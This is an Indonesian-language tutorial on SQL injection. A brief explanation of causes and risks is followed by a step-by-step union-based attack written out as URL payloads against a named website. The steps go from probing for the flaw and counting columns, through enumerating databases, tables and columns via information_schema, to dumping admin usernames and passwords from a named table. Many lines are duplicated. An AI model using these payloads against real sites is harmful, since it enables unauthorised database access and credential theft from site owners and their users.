SQL Injection adalah teknik yang menyalahgunakan sebuah
celah keamanan yang terjadi dalam lapisan basis data sebuah palikasi. Celah ini
terjadi ketika masukan pengguna tidak disaring secara benar dari karakter –
karakter pelolos bentung string yang diimbuhkan dalam pernyataan SQL atau masukan
pengguna tidak bertipe kuat dan karenanya dijalankan tidak sesuai harapan. ini
sebanarnya adalah sebiah contoh dari sebuah kategori celah keamanan yang lebih
umum yang dapat bterjadi setiap kali senbuah bahasa pemrograman atau skrip
diimbuhkan di dalam bahasa yang lain.
Sebab terjadinya SQL Injection
1) Tidak adanya penanganan terhadap karakter – karakter tanda petik satu ’ dan juga karakter double minus — yang menyebabkan suatu aplikasi dapat disisipi dengan perintah SQL.
2) Sehingga seorang Hacker menyisipkan perintah SQL kedalam suatu parameter maupun suatu form.
1) Tidak adanya penanganan terhadap karakter – karakter tanda petik satu ’ dan juga karakter double minus — yang menyebabkan suatu aplikasi dapat disisipi dengan perintah SQL.
2) Sehingga seorang Hacker menyisipkan perintah SQL kedalam suatu parameter maupun suatu form.
Apa saja yang diperlukan untuk melakukan SQL Injection ?
1) Internet Exploler / Browser
2) PC yang terhubung internet
3) Program atau software seperti softice
1) Internet Exploler / Browser
2) PC yang terhubung internet
3) Program atau software seperti softice
Berbahaya SQL Injection :
1) Teknik ini memungkinkan seseorang dapat login kedalam sistem tanpa harus memiliki account.
2) Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam database.
3) Bahkan yang lebih berbahaya lagi yaitu mematikan database itu sendiri, sehingga tidak bisa memberi layanan kepada web server.
1) Teknik ini memungkinkan seseorang dapat login kedalam sistem tanpa harus memiliki account.
2) Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam database.
3) Bahkan yang lebih berbahaya lagi yaitu mematikan database itu sendiri, sehingga tidak bisa memberi layanan kepada web server.
Statement sql bukanlah bahasa pemrograman seperti
pascal,Delphi atau visual basic , statemen sql biasanya digunakan bersama
sama dengan bahasa pemrograman lain saat mengakses database pada
untuk mencocokan user yang login , maka digunakan statemen sql yang
kurang lebih sebagai berikut ;
Select * from admin where username = input_username
And password = input_password
And password = input_password
Sebagai contoh apabila penulis sebagai administrator dengan
username = administrator dan password = admin bermaksud login maka sql
statemennya sebagai berikut
Select * from admin where username = ‘administrator’ and
Password = ‘admin’
Password = ‘admin’
setelah mendapatkan alamat target kita cek dahulu adanya bug
mysql dengan menambahkan ‘ pada akrih URL
contoh : http://www.ciputatbisnis.com/news.php?id=82′
selanjtnya menemukan jumlah kolom pada URL, dengan
pernyataan “order by” dan angka di akrihnya
contoh : http://www.ciputatbisnis.com/news.php?id=82
order by 1 s/d seterusnya sampai menemukan error, errror tersebut membuktikan
bahwa url tersebut hanya memiliki kolom sedikit.
Setelah kita mengetahui jumlah kolom yang terdapat pada
table database, selanjutnya kita akan mencari informasi & data apa yang
bisa diambil dari sana.
untuk melakukan hal tersebut kita menggunakan fungsi “UNION” “SELECT” dan NOMOR KOLOM. Kita selipkan seluruhnya dalam URL.
untuk melakukan hal tersebut kita menggunakan fungsi “UNION” “SELECT” dan NOMOR KOLOM. Kita selipkan seluruhnya dalam URL.
Finding MySQL Database Version, Kita ganti angka “1”
dengan “@@version” untuk mengetahui informasi versi database.
Selanjutkan kita akan inject website untuk menemukan
database names. Kita lakukan hal ini dengan mengganti “@@version”
dengan “group_concat(schema_name)” dan juga ditambahkan “+ from+information_schema.schemata–” sesudah nomor kolom terakhir di table database.
dengan “group_concat(schema_name)” dan juga ditambahkan “+ from+information_schema.schemata–” sesudah nomor kolom terakhir di table database.
contoh:http://www.ciputatbisnis.com/news.php?id=-82+UNION+SELECT+group_concat(schema_name),2,3,4,5,6,7+
from+information_schema.schemata
Hal tersebut akan menunjukkan daftar nama database. Sekarang
untuk menemukan database mana yang saat ini dipakai adalah dengan mengganti “group_concat(schema_name)”
dengan concat(database()) dan hapus “+
from+information_schema.schemata”
contoh: http://www.ciputatbisnis.com/news.php?id=-82+UNION+SELECT+concat(database()),2,3,4,5,6,7
Untuk mengetahui nama table yang digunakan dalam database,
anda harus mengganti “concat(database())” dengan group_concat(table_name) dan
tambahkan “from information_schema.tables where table_schema=database()”
diantara nomor awal dan “–” hapus juga tanda “+” dari “union select“.
contoh:http://www.ciputatbisnis.com/news.php?id=-82 union select
group_concat(table_name),2,3,4,5,6,7 from information_schema.tables where
table_schema=database()
Menemukan Nama Kolom Lakukan dengan hanya merubah “table_name”
ke “column_name” dan “information_schema.tables” ke “information_schema.columns”.
contoh :http://www.ciputatbisnis.com/news.php?id=-82 union select
group_concat(column_name),2,3,4,5,6,7 from information_schema.columns where
table_schema=database()
Mengambil Informasi Database Sekarang kita sudah
mengetahui “database name, table names, dan colomn names”, kita bisa
menyatukannya bersama-sama dan mengeluarkan informasi yang ada di sana.
contoh :http://www.ciputatbisnis.com/news.php?id=-82 union
select 1,group_concat(Columnname,0x3a,columnname,0x3a),2,3,4,5,6,7 from
databasename.tablename
Sekarang ganti “columnname” dengan kolom yang anda mau
ambil informasinta. “0x3a” akan membuat jeda diantara informasi yang anda dapatkan
dari masing-masing colom. Jangan lupa juga untuk merubah “databasename.tablename”
dengan database dan nama tabel dimana kolom ada di database dan tabel tersebut.
contoh: http://www.ciputatbisnis.com/news.php?id=-82
union select 1,group_concat(admin_username,0x3a,admin_password,0x3a),2,3,4,5,6,7
from whippit.t_admin
referensi :